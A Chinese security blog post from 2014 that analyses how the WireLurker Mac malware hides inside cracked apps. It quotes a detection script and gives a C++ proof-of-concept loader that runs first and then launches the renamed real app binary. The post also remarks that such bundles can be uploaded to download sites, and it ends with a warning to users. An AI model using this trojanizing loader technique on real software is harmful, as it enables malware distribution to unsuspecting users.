- A+
疯狗 (阅尽天下漏洞,心中自然无码。) | 2014-11-07 10:36
昨天因为WireLurker,导致MacHook以及国内几个第三方APP下载站火了,Mac下的黑色产业链也逐渐浮现在公众视线。其实我本人一直比较怀疑第三方APP下载站提供的APP安全性,是否有类似EXE捆绑方式寄生在破解APP上的恶意程序,是不是很高级很难实现的patch技术?这些都不得而知。
但昨天WireLurker被媒体曝光后,有人给出了一段自查脚本引起了我的注意,WireLurkerDetector 。
特别是其中这个函数def is_app_infected(root):
try:
pl = plistlib.readPlist(os.path.join(root, 'Contents', 'Info.plist'))
be = pl['CFBundleExecutable']
bundle_exec = os.path.join(root, 'Contents', 'MacOS', be)
bundle_exec_ = bundle_exec + '_'
if is_file_hidden(bundle_exec) and is_file_hidden(bundle_exec_):
return True
the_script = os.path.join(root, 'Contents', 'Resources', 'start.sh')
print the_script
the_pack = os.path.join(root, 'Contents', 'Resources', 'FontMap1.cfg')
if is_file_hidden(the_script) and is_file_hidden(the_pack):
return True
return False
except Exception:
return False
一般人会觉得这就是个检查文件隐藏属性的功能而已,但白帽子的直觉告诉我这正是WireLurker所使用的“寄生”技巧,关键的代码就在上半部分:pl = plistlib.readPlist(os.path.join(root, 'Contents', 'Info.plist'))
be = pl['CFBundleExecutable'] --> 获取执行文件名
bundle_exec = os.path.join(root, 'Contents', 'MacOS', be)
bundle_exec_ = bundle_exec + '_' --> 检查带有下划线的文件名干嘛,莫非是有个恶意的loader?
Mac用户都知道,其实OS X下的APP就是一个特殊的文件夹,有个APP的后缀,目录结构大概是这样:_CodeSignature, CodeResources -> APP数字签名,防篡改等
Info.plist -> APP初始初始信息
Frameworks -> 第三方的库程序
MacOS -> 可执行程序目录(就是“App”的本体程序,一个或多个)
PkgInfo -> 创建者签名
Resources -> 程序资源目录
其中Info.plist里面的CFBundleExecutable键值记录了默认执行的程序名称,比如我本地一个小型16进制编辑软件(0xED)的就是
你说懂了,直接修改这里指向恶意程序就好了,其实也没那么容易,那样太明显了直接引起用户怀疑,如何实现既注入了恶意代码,又能正常运行程序呢?就是前面我提到的loader方式,执行完恶意程序后在启动正常的APP,天衣无缝。因为没有WireLurker的样本,只能黑箱重现,用Xcode简单做了个Demo。#include <fstream>
#include <iostream>
#include <unistd.h>
using namespace std;
int main()
{
char s[1024];
char a[7] = "/0xED_"; //真正的Mac App实体
getcwd(s, 1024);
//std::cout << s;
strcat(s,a);
ofstream out("/tmp/Hacked.txt");
out << s << endl;
out.close();
//其实上面做了很多就是想自动获取当前APP目录,但最终居然是空值,所以。。。偷懒啦
system( "/Applications/0xED.app/Contents/MacOS/0xED_" );
return 0;
}
没运行APP前
➜ /tmp $ ls -l /tmp/*.txt
zsh: no matches found: /tmp/*.txt
最后将整个APP目录打包至DMG文件,发布到第三方下载站去吧。
PS:以上是最简单的也是人人都能实现的恶意程序捆绑方法,所以经常下破解App的伙伴谨慎些吧,制造/二次打包恶意APP成本非常的低,就像越狱后的iPhone样,使用破解就代表你主动放弃了OS一些合法APP的校验与保护,无论系统怎样提示挽救你,最终你还是会执行他。
$("img").load(function(){ if($(this).attr("width")>640) $(this).attr("width",640); });